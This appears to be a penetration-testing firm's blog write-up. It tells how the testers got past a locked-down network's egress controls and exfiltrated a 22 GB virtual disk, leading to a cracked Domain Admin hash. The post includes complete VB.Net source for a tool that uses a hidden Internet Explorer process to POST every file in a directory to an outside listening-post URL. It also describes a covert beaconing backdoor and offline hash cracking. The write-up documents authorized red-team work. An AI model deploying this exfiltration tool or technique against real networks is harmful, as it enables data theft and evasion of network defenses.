At Silent Break Security, our focus is to provide realistic, custom assessments modeled after real threats our clients are facing. After all, the best way to improve is to practice perfectly, or as close to perfectly as possible. In this case, that would be modeling assessments after actual threats. Typically, this requires us to create custom implants and backdoors, think outside the box, and a LOT of persistence. On a recent blackbox penetration test, we gained access to the internal network through a social engineering email. A stealthy, custom beaconing backdoor was installed on the users box and we had limited internal network access…as a user. We had done several penetration tests for the client before so their internal security had improved significantly. No exploitable services, no weak file permissions, no old vulnerabilities, and no easy way to escalate privileges. On top of that, the internal network had become locked down with tight egress rules, ACLs, blocked EXE file downloads, and NTLM proxy authentication every 30 minutes. Doing recon on the internal network provided little hope…until we found an open file share with a 22 GB VHD file. For those not familiar, a VHD file is a virtual hard disk file format created by Microsoft. Windows 7 and 8 come with a command line utility called diskpart that will allow you to mount a VHD file and assign it a drive letter. The only caveat is you need administrative privileges to mount the VHD file. So…it wouldn’t be possible to mount the file on target due to the user’s privilege restriction, but maybe we could exfil the VHD file, mount it locally, and extract the local and domain cached credential hashes. Let’s see where that leads.
The first problem was exfiltrating a 22 GB VHD file. What are our options? Straight-up TCP egress connection? Blocked by the firewall. Bitsadmin? Blocked at the proxy. HTTP PUTs? Also blocked at the proxy. HTTP POSTs were not being blocked by the proxy, but are definitely not ideal for a file transfer this large. After uploading 7z.exe, the 22 GB VHD file was compressed and split into nearly 900 files, each one about a 10 MB chunk, totaling nearly 9 GB of data to be exfilled. The next task was to build out the infrastructure for the upload. This involved several steps. First, we had to build out a LAMP server with a PHP script to accept the upload. The screenshot below illustrates what we came up with…a basic PHP file upload script. Don’t forget to increase the “upload_max_filesize” option in php.ini to at least 10M. We used 15M just to be safe.
The next step was to build an application to repeatedly POST each file to the web server. This proved more difficult than it sounded. Looking into PowerShell, C++, and VB.Net, we decided to use VB.Net for it’s ease of use and customization available. The proxy required NTLM authentication every 30 minutes. So any process could connect to the internet…for 30 minutes…and often less…much less. After about 30 minutes the proxy would require reauthentication. Apparently Internet Explorer has this “reauth” functionality built into it, but every custom application we tried in PowerShell or VB.Net would not work consistently. Thankfully, VB.Net has the capability to start a hidden IE process and interact with it in the background, GETting web pages and POSTing content. The WebBrowser library is exactly what we were looking for.
Dim WebBrowser : WebBrowser = CreateObject("InternetExplorer.Application")
When completed, we had a simple command-line app that kicked off a hidden IE process and began exfilling all the files in a given directory via standard HTTP POST requests to our LP/web server. The best part was that file was only 5 KB in size…much smaller than any Python byte-compiled executable. 🙂 You can find the source code below. In the end, all 9 GBs were exfiltrated. The VHD file was extracted and mounted using diskpart. Unfortunately, the local administrator hash didn’t match any other workstation on the internal network so pass-the-hash didn’t work out. However, one of the stored domain cached credentials account was a domain service account and a member of the “Domain Admins” group. After throwing the GPUs at it for a day or so the MSCash2 hash was cracked and the rest is history. 🙂
Module Module1 Sub UploadFile(ByVal DestURL As String, ByVal FileName As String, _ Optional ByVal FieldName As String = "File") Dim sFormData As String, d As String Const Boundary As String = "---------------------------0123456789012" 'GET FILE CONTENTS sFormData = GetFile(FileName) 'BUILD POST FORM d = "--" + Boundary + vbCrLf d = d + "Content-Disposition: form-data; name=""" + FieldName + """;" d = d + " filename=""" + FileName + """" + vbCrLf d = d + "Content-Type: application/upload" + vbCrLf + vbCrLf d = d + sFormData d = d + vbCrLf + "--" + Boundary + "--" + vbCrLf IEPostStringRequest(DestURL, d, Boundary) End Sub Sub IEPostStringRequest(ByVal URL As String, ByVal FormData As String, ByVal Boundary As String) 'CREATE IE INSTANCE Dim WebBrowser : WebBrowser = CreateObject("InternetExplorer.Application") 'UNCOMMENT TO MAKE IE VISIBLE 'WebBrowser.Visible = True 'SEND FORM DATA TO URL AS A POST Dim bFormData() As Byte ReDim bFormData(Len(FormData) - 1) bFormData = System.Text.Encoding.GetEncoding(1252).GetBytes(FormData) WebBrowser.Navigate(URL, , , bFormData, _ "Content-Type: multipart/form-data; boundary=" + Boundary + vbCrLf) Do While WebBrowser.busy Threading.Thread.Sleep(500) Loop WebBrowser.Quit() End Sub Function GetFile(ByVal FileName As String) As String Dim FileContents() As Byte, FileNumber As Integer ReDim FileContents(FileLen(FileName) - 1) FileNumber = FreeFile() FileContents = IO.File.ReadAllBytes(FileName) GetFile = System.Text.Encoding.GetEncoding(1252).GetString(FileContents) End Function Sub Main() If Environment.GetCommandLineArgs.Count 2 Then System.Console.WriteLine("Done!") Return End If Dim root As String = Environment.GetCommandLineArgs(1) If Not root.EndsWith("\") Then System.Console.WriteLine("Done!") Return End If Dim di As New IO.DirectoryInfo(root) Dim diar1 As IO.FileInfo() = di.GetFiles() Dim dra As IO.FileInfo 'REPEAT FILE UPLOAD FOR ALL FILES IN THE GIVEN DIRECTORY For Each dra In diar1 'System.Console.WriteLine(dra.FullName) UploadFile("http://our-secret-lp.com/u.php", dra.FullName, "file") Next End Sub End Module